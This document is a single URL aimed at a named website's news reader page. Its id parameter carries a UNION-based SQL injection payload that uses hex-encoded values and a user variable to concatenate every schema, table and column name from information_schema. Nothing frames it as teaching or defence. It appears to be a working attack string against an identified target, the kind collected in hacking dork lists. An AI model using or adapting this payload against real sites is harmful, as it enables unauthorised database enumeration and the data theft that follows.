http://www.saveoursound.org/news/reader.php?id=-247 union select (select(@x)from(select(@x:=0x00), (select(0)from(information_schema.columns)where(ta ble_schema!=0x696e666f726d6174696f6e5f736368656d61 )and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema ,0x2e,table_name,0x3a,column_name))))x),2,3,4,5,6, 7,8,9--